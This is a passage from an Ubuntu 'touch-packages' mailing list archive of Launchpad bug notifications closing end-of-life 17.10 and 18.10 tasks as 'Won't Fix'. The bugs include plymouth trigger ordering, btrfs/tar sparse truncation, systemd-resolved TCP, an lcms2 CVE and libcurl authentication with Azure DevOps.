https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1742403/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1750465] Re: upgrade attempting to process triggers out of order (package plymouth-theme-ubuntu-text 0.9.2-3ubuntu17 failed to install/upgrade: dependency problems - leaving trig

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: ubuntu-gnome-default-settings (Ubuntu Artful)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1750465

Title:
  upgrade attempting to process triggers out of order (package plymouth-
  theme-ubuntu-text 0.9.2-3ubuntu17 failed to install/upgrade:
  dependency problems - leaving triggers unprocessed)

Status in apt package in Ubuntu:
  Invalid
Status in budgie-artwork package in Ubuntu:
  Fix Released
Status in kubuntu-settings package in Ubuntu:
  Fix Released
Status in plymouth package in Ubuntu:
  Fix Released
Status in ubuntu-gnome-default-settings package in Ubuntu:
  Fix Released
Status in ubuntu-mate-artwork package in Ubuntu:
  Fix Released
Status in apt source package in Xenial:
  Invalid
Status in kubuntu-settings source package in Xenial:
  Confirmed
Status in plymouth source package in Xenial:
  Fix Released
Status in ubuntu-gnome-default-settings source package in Xenial:
  Confirmed
Status in ubuntu-mate-artwork source package in Xenial:
  Confirmed
Status in apt source package in Artful:
  Invalid
Status in budgie-artwork source package in Artful:
  Fix Released
Status in kubuntu-settings source package in Artful:
  Won't Fix
Status in plymouth source package in Artful:
  Fix Released
Status in ubuntu-gnome-default-settings source package in Artful:
  Won't Fix
Status in ubuntu-mate-artwork source package in Artful:
  Won't Fix

Bug description:
  [SRU Justification]
  A package manager bug can cause dist-upgrades from 17.10 to 18.04 to fail 
because of trying to process triggers out of order.  Since the trigger being 
run is that of the currently-installed plymouth package, it is not guaranteed 
to be sufficient to fix the version of the package in 18.04.

  [Test case]
  1. Install plymouth-themes-ubuntu-text from -proposed.
  2. Run a release upgrade with each of update-manager -d, do-release-upgrade 
-d, and apt-get dist-upgrade (the last after manually changing sources.list).
  3. Verify that in each case, the upgrade completes successfully, with no 
errors about out-of-order trigger configuration.

  [Regression potential]
  noawait triggers have been supported in dpkg since 1.16.1, which is older 
than the version in precise 
(https://manpages.debian.org/jessie/dpkg-dev/deb-triggers.5.en.html).  A 
noawait trigger is considered appropriate whenever the triggered package does 
not need to block the triggering package.  There is no reason for a plymouth 
theme package to need to block configuration of an essential package in this 
case.  noawait triggers are well-exercised in the distro now, so the risk of 
regression from this change should be low.

  There is unfortunately not a known reproducer for the original bug, so
  the test case, while it should guard against regressions, is not
  strong confirmation that the bug is fixed.

  [Original description]
  Failure during upgrade attempt from Xubuntu 17.10 to Xubuntu 18.04

  ProblemType: Package
  DistroRelease: Ubuntu 18.04
  Package: plymouth-theme-ubuntu-text 0.9.2-3ubuntu17
  ProcVersionSignature: Ubuntu 4.13.0-32.35-generic 4.13.13
  Uname: Linux 4.13.0-32-generic x86_64
  ApportVersion: 2.20.7-0ubuntu3.7
  Architecture: amd64
  Date: Sun Feb 18 23:41:49 2018
  DefaultPlymouth: /usr/share/plymouth/themes/xubuntu-logo/xubuntu-logo.plymouth
  ErrorMessage: dependency problems - leaving triggers unprocessed
  InstallationDate: Installed on 2017-10-24 (118 days ago)
  InstallationMedia: Xubuntu 17.10 "Artful Aardvark" - Release amd64 
(20171017.1)
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 004: ID 8087:0a2a Intel Corp.
   Bus 001 Device 003: ID 0bda:0129 Realtek Semiconductor Corp. RTS5129 Card 
Reader Controller
   Bus 001 Device 002: ID 1bcf:2c01 Sunplus Innovation Technology Inc.
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: Dell Inc. Inspiron 5567
  ProcCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.13.0-32-generic.efi.signed 
root=UUID=d2256612-d86a-469b-be01-94e1fdcca333 ro quiet splash vt.handoff=1
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.13.0-32-generic.efi.signed 
root=UUID=d2256612-d86a-469b-be01-94e1fdcca333 ro quiet splash vt.handoff=1
  Python3Details: /usr/bin/python3.6, Python 3.6.4+, python3-minimal, 3.6.4-1
  PythonDetails: /usr/bin/python2.7, Python 2.7.14+, python-minimal, 2.7.14-4
  RelatedPackageVersions:
   dpkg 1.19.0.5ubuntu1
   apt  1.5.1
  SourcePackage: plymouth
  TextPlymouth: /usr/share/plymouth/themes/xubuntu-text/xubuntu-text.plymouth
  Title: package plymouth-theme-ubuntu-text 0.9.2-3ubuntu17 failed to 
install/upgrade: dependency problems - leaving triggers unprocessed
  UpgradeStatus: Upgraded to bionic on 2018-02-19 

[Touch-packages] [Bug 1728617] Re: Scrolled window broken when containing an eventbox

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: gtk+3.0 (Ubuntu Artful)
   Status: Triaged => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1728617

Title:
  Scrolled window broken when containing an eventbox

Status in gtk+3.0 package in Ubuntu:
  Fix Released
Status in gtk+3.0 source package in Artful:
  Won't Fix

Bug description:
  https://github.com/gnumdk/lollypop/issues/1279

  Ubuntu is shipping 074_eventbox_scroll_mask.patch, this patch is
  really strange, it adds a scroll mask on all eventbox breaking all
  applications using eventbox in scrolled windows.

  This patch is not in Debian and should be removed!

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gtk+3.0/+bug/1728617/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1593489] Re: resolvconf postrm is broken, purge breaks DNS

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: resolvconf (Ubuntu Artful)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to resolvconf in Ubuntu.
https://bugs.launchpad.net/bugs/1593489

Title:
  resolvconf postrm is broken, purge breaks DNS

Status in resolvconf package in Ubuntu:
  Confirmed
Status in resolvconf source package in Xenial:
  Confirmed
Status in resolvconf source package in Yakkety:
  Confirmed
Status in resolvconf source package in Zesty:
  Confirmed
Status in resolvconf source package in Artful:
  Won't Fix

Bug description:
  apt-get remove resolvconf incorrectly leaves a symlink from
  /etc/resolv.conf to ../run/resolvconf/resolv.conf.  apt-get purge
  resolvconf leaves that symlink with no target, so DNS is broken.

  The problem is in postrm: it's examining /etc/resolv.conf to see if
  it's a link to /run/resolvconf/resolv.conf, but it's a relative link
  to ../run/resolvconf/resolv.conf, so the comparison fails, resulting
  in the failures above.

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: resolvconf 1.78ubuntu2
  ProcVersionSignature: Ubuntu 4.4.0-24.43-generic 4.4.10
  Uname: Linux 4.4.0-24-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.1
  Architecture: amd64
  Date: Thu Jun 16 23:52:41 2016
  PackageArchitecture: all
  ProcEnviron:
   TERM=xterm
   PATH=(custom, no user)
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: resolvconf
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/resolvconf/+bug/1593489/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1757565] Re: btrfs and tar sparse truncate archives

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: tar (Ubuntu Artful)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to tar in Ubuntu.
https://bugs.launchpad.net/bugs/1757565

Title:
  btrfs and tar sparse truncate archives

Status in linux package in Ubuntu:
  Fix Released
Status in tar package in Ubuntu:
  New
Status in linux source package in Artful:
  Fix Released
Status in tar source package in Artful:
  Won't Fix

Bug description:
  
  == SRU Justification ==
  This bug causes btrfs and tar sparse to truncate archives.  This bug has been 
  fixed in v4.15-rc3 by commit e3b8a4858566, which has a prereq commit of 
f48bf66b662e.

  These commits were cc'd to upstream stable and are already in Bionic.  
However, upstream
  4.13 is EOL, so Artful never recieved the fixes, which is the reason for
  the SRU request.

  == Fixes ==
  f48bf66b662e ("Btrfs: move definition of the function 
btrfs_find_new_delalloc_bytes")
  e3b8a4858566 ("Btrfs: fix reported number of inode blocks after buffered 
append writes")

  == Regression Potential ==
  Low.  This fix was also sent and accepted to stable, so it has had additional 
upstream review.

  == Test Case ==
  A test kernel was built with these patches and tested by the original bug 
reporter.
  The bug reporter states the test kernel resolved the bug.



  root@ubuntu:~# lsb_release -rd
  Description:  Ubuntu 17.10
  Release:  17.10
  root@ubuntu:~# apt-cache policy linux-image-virtual
  linux-image-virtual:
    Installed: 4.13.0.37.40
    Candidate: 4.13.0.37.40
    Version table:
   *** 4.13.0.37.40 500
  500 http://archive.ubuntu.com/ubuntu artful-updates/main amd64 
Packages
  500 http://security.ubuntu.com/ubuntu artful-security/main amd64 
Packages
  100 /var/lib/dpkg/status
   4.13.0.16.17 500
  500 http://archive.ubuntu.com/ubuntu artful/main amd64 Packages

  3. Taring files into an archive are not truncated
  4. Files included in tar are filled with NULLs

  To reproduce, run an Artful system with one spare disk:

  - mkfs.btrfs -f /dev/sda
  - mount /dev/sda /mnt
  - grep sda /proc/mounts
  /dev/sda /mnt btrfs rw,relatime,space_cache,subvolid=5,subvol=/ 0 0

  Then run this script which copies a 4MB binary to a btrfs filesystem,
  tars the directory up containing the binary; then untars to stdout and
  md5sum compares, showing it's different.

  % SPARSE="-S"; rm -rf /mnt/tmp; md5sum /usr/bin/python3.6; mkdir -p /mnt/tmp; 
cp -a /usr/bin/python3.6 /mnt/tmp; tar -C /mnt/tmp $SPARSE -czf /mnt/test.tgz 
.; tar $SPARSE -xzf /mnt/test.tgz -O | md5sum
  e4121d2f3126b8c364bfa1aaa82371a3  /usr/bin/python3.6
  0ce8c4139740198926273853defcb12a  -

  And now without the sparse flag:

  # SPARSE=""; rm -rf /mnt/tmp; md5sum /usr/bin/python3.6; mkdir -p /mnt/tmp; 
cp -a /usr/bin/python3.6 /mnt/tmp; tar -C /mnt/tmp $SPARSE -czf /mnt/test.tgz 
.; tar $SPARSE -xzf /mnt/test.tgz -O | md5sum
  e4121d2f3126b8c364bfa1aaa82371a3  /usr/bin/python3.6
  e4121d2f3126b8c364bfa1aaa82371a3  -

  This has been reported to both gnu-tar and linux-btrfs; I'm not aware of an 
actual fix.
  Note that Xenial 4.4 kernels do not exhibit this behavior, and Bionic 4.15 
kernel appears to be fixed as well though I'm not sure what the difference is.

  References:

  https://patchwork.kernel.org/patch/10151037/
  https://www.spinics.net/lists/linux-btrfs/msg56768.html
  https://www.spinics.net/lists/linux-btrfs/msg57111.html

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: linux-image-virtual 4.13.0.37.40
  ProcVersionSignature: Ubuntu 4.13.0-37.42-generic 4.13.13
  Uname: Linux 4.13.0-37-generic x86_64
  AlsaDevices:
   total 0
   crw-rw 1 root audio 116,  1 Mar 21 22:55 seq
   crw-rw 1 root audio 116, 33 Mar 21 22:55 timer
  AplayDevices: Error: [Errno 2] No such file or directory: 'aplay': 'aplay'
  ApportVersion: 2.20.7-0ubuntu3.7
  Architecture: amd64
  ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord': 
'arecord'
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', 
'/dev/snd/timer'] failed with exit code 1:
  CRDA: N/A
  Date: Wed Mar 21 23:08:05 2018
  IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig': 'iwconfig'
  Lsusb: Error: command ['lsusb'] failed with exit code 1:
  MachineType: QEMU Standard PC (i440FX + PIIX, 1996)
  PciMultimedia:

  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   LANG=C.UTF-8
   SHELL=/bin/bash
  ProcFB:

  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.13.0-37-generic 
root=LABEL=cloudimg-rootfs ro console=tty1 console=ttyS0
  RelatedPackageVersions:
   linux-restricted-modules-4.13.0-37-generic N/A
   linux-backports-modules-4.13.0-37-generic  N/A
   linux-firmware N/A
  RfKill: Error: [Errno 2] No such file or directory: 

[Touch-packages] [Bug 1750465] Re: upgrade attempting to process triggers out of order (package plymouth-theme-ubuntu-text 0.9.2-3ubuntu17 failed to install/upgrade: dependency problems - leaving trig

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: ubuntu-mate-artwork (Ubuntu Artful)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1750465

Title:
  upgrade attempting to process triggers out of order (package plymouth-
  theme-ubuntu-text 0.9.2-3ubuntu17 failed to install/upgrade:
  dependency problems - leaving triggers unprocessed)

Status in apt package in Ubuntu:
  Invalid
Status in budgie-artwork package in Ubuntu:
  Fix Released
Status in kubuntu-settings package in Ubuntu:
  Fix Released
Status in plymouth package in Ubuntu:
  Fix Released
Status in ubuntu-gnome-default-settings package in Ubuntu:
  Fix Released
Status in ubuntu-mate-artwork package in Ubuntu:
  Fix Released
Status in apt source package in Xenial:
  Invalid
Status in kubuntu-settings source package in Xenial:
  Confirmed
Status in plymouth source package in Xenial:
  Fix Released
Status in ubuntu-gnome-default-settings source package in Xenial:
  Confirmed
Status in ubuntu-mate-artwork source package in Xenial:
  Confirmed
Status in apt source package in Artful:
  Invalid
Status in budgie-artwork source package in Artful:
  Fix Released
Status in kubuntu-settings source package in Artful:
  Won't Fix
Status in plymouth source package in Artful:
  Fix Released
Status in ubuntu-gnome-default-settings source package in Artful:
  Won't Fix
Status in ubuntu-mate-artwork source package in Artful:
  Won't Fix

Bug description:
  [SRU Justification]
  A package manager bug can cause dist-upgrades from 17.10 to 18.04 to fail 
because of trying to process triggers out of order.  Since the trigger being 
run is that of the currently-installed plymouth package, it is not guaranteed 
to be sufficient to fix the version of the package in 18.04.

  [Test case]
  1. Install plymouth-themes-ubuntu-text from -proposed.
  2. Run a release upgrade with each of update-manager -d, do-release-upgrade 
-d, and apt-get dist-upgrade (the last after manually changing sources.list).
  3. Verify that in each case, the upgrade completes successfully, with no 
errors about out-of-order trigger configuration.

  [Regression potential]
  noawait triggers have been supported in dpkg since 1.16.1, which is older 
than the version in precise 
(https://manpages.debian.org/jessie/dpkg-dev/deb-triggers.5.en.html).  A 
noawait trigger is considered appropriate whenever the triggered package does 
not need to block the triggering package.  There is no reason for a plymouth 
theme package to need to block configuration of an essential package in this 
case.  noawait triggers are well-exercised in the distro now, so the risk of 
regression from this change should be low.

  There is unfortunately not a known reproducer for the original bug, so
  the test case, while it should guard against regressions, is not
  strong confirmation that the bug is fixed.

  [Original description]
  Failure during upgrade attempt from Xubuntu 17.10 to Xubuntu 18.04

  ProblemType: Package
  DistroRelease: Ubuntu 18.04
  Package: plymouth-theme-ubuntu-text 0.9.2-3ubuntu17
  ProcVersionSignature: Ubuntu 4.13.0-32.35-generic 4.13.13
  Uname: Linux 4.13.0-32-generic x86_64
  ApportVersion: 2.20.7-0ubuntu3.7
  Architecture: amd64
  Date: Sun Feb 18 23:41:49 2018
  DefaultPlymouth: /usr/share/plymouth/themes/xubuntu-logo/xubuntu-logo.plymouth
  ErrorMessage: dependency problems - leaving triggers unprocessed
  InstallationDate: Installed on 2017-10-24 (118 days ago)
  InstallationMedia: Xubuntu 17.10 "Artful Aardvark" - Release amd64 
(20171017.1)
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 004: ID 8087:0a2a Intel Corp.
   Bus 001 Device 003: ID 0bda:0129 Realtek Semiconductor Corp. RTS5129 Card 
Reader Controller
   Bus 001 Device 002: ID 1bcf:2c01 Sunplus Innovation Technology Inc.
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: Dell Inc. Inspiron 5567
  ProcCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.13.0-32-generic.efi.signed 
root=UUID=d2256612-d86a-469b-be01-94e1fdcca333 ro quiet splash vt.handoff=1
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.13.0-32-generic.efi.signed 
root=UUID=d2256612-d86a-469b-be01-94e1fdcca333 ro quiet splash vt.handoff=1
  Python3Details: /usr/bin/python3.6, Python 3.6.4+, python3-minimal, 3.6.4-1
  PythonDetails: /usr/bin/python2.7, Python 2.7.14+, python-minimal, 2.7.14-4
  RelatedPackageVersions:
   dpkg 1.19.0.5ubuntu1
   apt  1.5.1
  SourcePackage: plymouth
  TextPlymouth: /usr/share/plymouth/themes/xubuntu-text/xubuntu-text.plymouth
  Title: package plymouth-theme-ubuntu-text 0.9.2-3ubuntu17 failed to 
install/upgrade: dependency problems - leaving triggers unprocessed
  UpgradeStatus: Upgraded to bionic on 2018-02-19 (0 days 

[Touch-packages] [Bug 1735415] Re: VNC client does not exits after logout

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: lightdm (Ubuntu Artful)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lightdm in Ubuntu.
https://bugs.launchpad.net/bugs/1735415

Title:
  VNC client does not exits after logout

Status in Light Display Manager:
  Fix Released
Status in lightdm package in Ubuntu:
  Fix Released
Status in lightdm source package in Trusty:
  New
Status in lightdm source package in Xenial:
  New
Status in lightdm source package in Zesty:
  New
Status in lightdm source package in Artful:
  Won't Fix
Status in lightdm source package in Bionic:
  Fix Released

Bug description:
  I have setup the remote desktop using the "[VNCServer]" configuration section.
  When I log in using a VNC client and log out with the desktop panel menu,
  the VNC client(remmina) does not exits.

  I found that a VNC connection(TCP 5900) remains alive even though the Xvnc 
server exits.
  I also found the cause, GSocket instance is leaking in the "src/vnc-server.c".

  static gboolean
  read_cb (GSocket *socket, GIOCondition condition, VNCServer *server)
  {
  ...
  client_socket = g_socket_accept (socket, NULL, );
  ...
  if (client_socket)
  {
  ...
  g_signal_emit (server, signals[NEW_CONNECTION], 0, client_socket);
  }
  return TRUE;
  }

  I think that "g_object_unref(client_socket)" should be called after
  g_signal_emit().

To manage notifications about this bug go to:
https://bugs.launchpad.net/lightdm/+bug/1735415/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1679989] Re: CVE-2016-10165: heap OOB read parsing crafted ICC profile

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: lcms2 (Ubuntu Artful)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lcms2 in Ubuntu.
https://bugs.launchpad.net/bugs/1679989

Title:
  CVE-2016-10165: heap OOB read parsing crafted ICC profile

Status in lcms2 package in Ubuntu:
  Confirmed
Status in lcms2 source package in Precise:
  Won't Fix
Status in lcms2 source package in Trusty:
  Confirmed
Status in lcms2 source package in Xenial:
  Confirmed
Status in lcms2 source package in Zesty:
  Confirmed
Status in lcms2 source package in Artful:
  Won't Fix
Status in lcms2 package in Debian:
  Fix Released

Bug description:
  The Type_MLU_Read function in cmstypes.c in Little CMS (aka lcms2)
  allows remote attackers to obtain sensitive information or cause a
  denial of service via an image with a crafted ICC profile, which
  triggers an out-of-bounds heap read.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/lcms2/+bug/1679989/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1731522] Re: systemd-resolved does not listen on TCP port, cannot serve large records (Cannot ping pod51041.outlook.com but can dig.)

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: systemd (Ubuntu Artful)
   Status: Triaged => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1731522

Title:
  systemd-resolved does not listen on TCP port, cannot serve large
  records (Cannot ping pod51041.outlook.com but can dig.)

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Artful:
  Won't Fix
Status in systemd source package in Bionic:
  Fix Released

Bug description:
  [Impact]

   * Ubuntu hosts unable to perform queries against certain domains that 
respond with too big responses that do not fit over UDP protocol.
   * Solution is to enable local cachine DNS server to listen on both UDP and 
TCP by default

  [Test Case]

   * nslookup -q= pod51041.outlook.com 127.0.0.53

  Should work and return a bunch of ipv6 answers.

  Note, this expects that the upstream DNS server used by resolved is "a
  sensitble" one, e.g. my default ISP/router did not work, whilst
  forcing 8.8.8.8 via network manager for this connection made it work.

  [Regression Potential]

   * Given that resolved will now bind to a TCP port 53, this may result
  in a conflict with deployed DNS servers which do not correctly take
  over port 53 or bind to everything.

   * In those cases the software should be fixed to not bind to all
  interfaces and/or to not bind on 127.0.0.53, or change resolved to
  have DNSStubListener set to 'udp'.

  [Other Info]

   * Original bug report

  ===

  Trying to resolve pod51041.outlook.com's domain name seems to fail for
  applications:

  $ ping pod51041.outlook.com
  ping: pod51041.outlook.com: Temporary failure in name resolution

  (Also can't access via thunderbird).

  However, it seems to work directly via systemd-resolve:

  $ systemd-resolve pod51041.outlook.com
  pod51041.outlook.com: 40.97.160.2
    40.97.126.50
    132.245.38.194
    40.97.147.194
    132.245.41.34
    40.97.176.2
    40.97.150.242
    40.97.85.114
    40.97.120.50
    40.97.85.2
    40.97.176.34
    40.97.138.242
    40.97.166.18
    40.97.120.162
    40.97.119.82
    40.97.176.18
    40.97.85.98
    40.97.134.34
    40.97.84.18

  -- Information acquired via protocol DNS in 2.5ms.
  -- Data is authenticated: no

  It also works with dig and nslookup.

  Not quite sure why this is the case, I've spotted this issue upstream
  that looks similar: https://github.com/systemd/systemd/issues/6520.
  However, I'm not familiar enough with DNS to tell if it is the same
  issue.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: systemd 234-2ubuntu12
  ProcVersionSignature: Ubuntu 4.13.0-16.19-generic 4.13.4
  Uname: Linux 4.13.0-16-generic x86_64
  NonfreeKernelModules: zfs zunicode zavl zcommon znvpair
  ApportVersion: 2.20.7-0ubuntu3
  Architecture: amd64
  CurrentDesktop: MATE
  Date: Fri Nov 10 13:10:02 2017
  InstallationDate: Installed on 2017-11-10 (0 days ago)
  InstallationMedia: Ubuntu-MATE 17.10 "Artful Aardvark" - Release amd64 
(20171018)
  MachineType: LENOVO 2324BB9
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.13.0-16-generic.efi.signed 
root=UUID=8ab6bf88-72bd-4308-941e-3b36d4d7811b ro rootflags=subvol=@ quiet 
splash vt.handoff=7
  SourcePackage: systemd
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 03/03/2016
  dmi.bios.vendor: LENOVO
  dmi.bios.version: G2ETA6WW (2.66 )
  dmi.board.asset.tag: Not Available
  dmi.board.name: 2324BB9
  dmi.board.vendor: LENOVO
  dmi.board.version: Not Defined
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Not Available
  dmi.modalias: 
dmi:bvnLENOVO:bvrG2ETA6WW(2.66):bd03/03/2016:svnLENOVO:pn2324BB9:pvrThinkPadX230:rvnLENOVO:rn2324BB9:rvrNotDefined:cvnLENOVO:ct10:cvrNotAvailable:
  dmi.product.family: ThinkPad X230
  dmi.product.name: 2324BB9
  dmi.product.version: ThinkPad X230
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1731522/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1725921] Re: [regression] Combobox menus have gray text on gray background

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: ubuntu-themes (Ubuntu Artful)
   Status: Triaged => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu.
https://bugs.launchpad.net/bugs/1725921

Title:
  [regression] Combobox menus have gray text on gray background

Status in Ubuntu theme:
  Fix Released
Status in ubuntu-themes package in Ubuntu:
  Fix Released
Status in ubuntu-themes source package in Xenial:
  Fix Released
Status in ubuntu-themes source package in Artful:
  Won't Fix
Status in ubuntu-themes source package in Bionic:
  Fix Released

Bug description:
  [Impact]

  Regression: After a recent update, combobox menus have gray text on
  gray background making them almost unreadable.

  [Test Case]

  1. Open GIMP and start a new file.
  2. At the bottom of the window click on the 'px' combo box.
  3. Verify the menu that appears has readable text (light grey text on a dark 
grey background).

  [Regression Potential]

  Very low. The fix changes the theme for "gtk-combobox-popup-menu"
  only. So theoretically it should not be possible for the fix to affect
  anything other than combobox menus.

  [Other Info]

  The regression happened in updates to 18.04, 17.10 and 16.04 around
  late 2017 - January 2018.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-themes/+bug/1725921/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1728653] Re: Update evolution-data-server to 3.26.3

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: evolution-data-server (Ubuntu Artful)
   Status: In Progress => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to evolution-data-server in
Ubuntu.
https://bugs.launchpad.net/bugs/1728653

Title:
  Update evolution-data-server to 3.26.3

Status in evolution-data-server package in Ubuntu:
  Fix Released
Status in evolution-data-server source package in Artful:
  Won't Fix

Bug description:
  Note to SRU Team
  
  I guess we might as well wait for 3.26.4 now, scheduled for January 9.

  Impact
  ==
  evolution-data-server (e-d-s) has released a new stable bugfix release.
  (These will happen about once every month until 3.28 is released.)

  Updating e-d-s is required to update evolution to 3.26.3 (LP:
  #1728655)

  https://git.gnome.org/browse/evolution-data-server/tree/NEWS/?h=gnome-3-26
  https://git.gnome.org/browse/evolution-data-server/log/?h=gnome-3-26

  Test Case
  =
  After installing the update, restart your computer.

  Run several eds-using apps like Evolution, GNOME Calendar and verify
  that they continue to run at least as well as before this update.

  Regression Potential
  
  GNOME 3.26 distros will be shipping this update.

  There is a micro-release exception for GNOME:
  https://wiki.ubuntu.com/StableReleaseUpdates#GNOME

  3.22.6 introduced a regression in pop3 support that was fixed within a
  week by 3.22.7.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/evolution-data-server/+bug/1728653/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1805203] Re: libcurl3-gnutls in cosmic breaks git with Azure DevOps

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: curl (Ubuntu Cosmic)
   Status: Fix Committed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to curl in Ubuntu.
https://bugs.launchpad.net/bugs/1805203

Title:
  libcurl3-gnutls in cosmic breaks git with Azure DevOps

Status in curl package in Ubuntu:
  Fix Released
Status in curl source package in Cosmic:
  Won't Fix

Bug description:
  * Impact
  Git auth fails when trying to work with an Azure DevOps repository 

  * Test case
  Try to git clone from an Azure DevOps repository using a Personal Access Token
  The clone should work and not fail on an authentification error

  *  Regression potential
  The diff is in the curl http code, it would be good to test a few rdepends to 
make sure they have no regression

  

  The version of libcurl3-gnutls in cosmic (7.61.0) causes
  authentication failures with Azure DevOps. This causes all git
  operations with the server to fail (eg clone, push, pull). For details
  see this curl bug: https://github.com/curl/curl/pull/2754

  To work around this I downgraded libcurl3-gnutls to the version in
  bionic (7.58.0)

  From the curl change list https://curl.haxx.se/changes.html#7_61_1,
  this issue should be fixed in package version 7.61.1 or above.

  Request: please upgrade package in cosmic for libcurl3-gnutls to
  7.61.1 or above

  Details:
  1 - Ubuntu 18.10
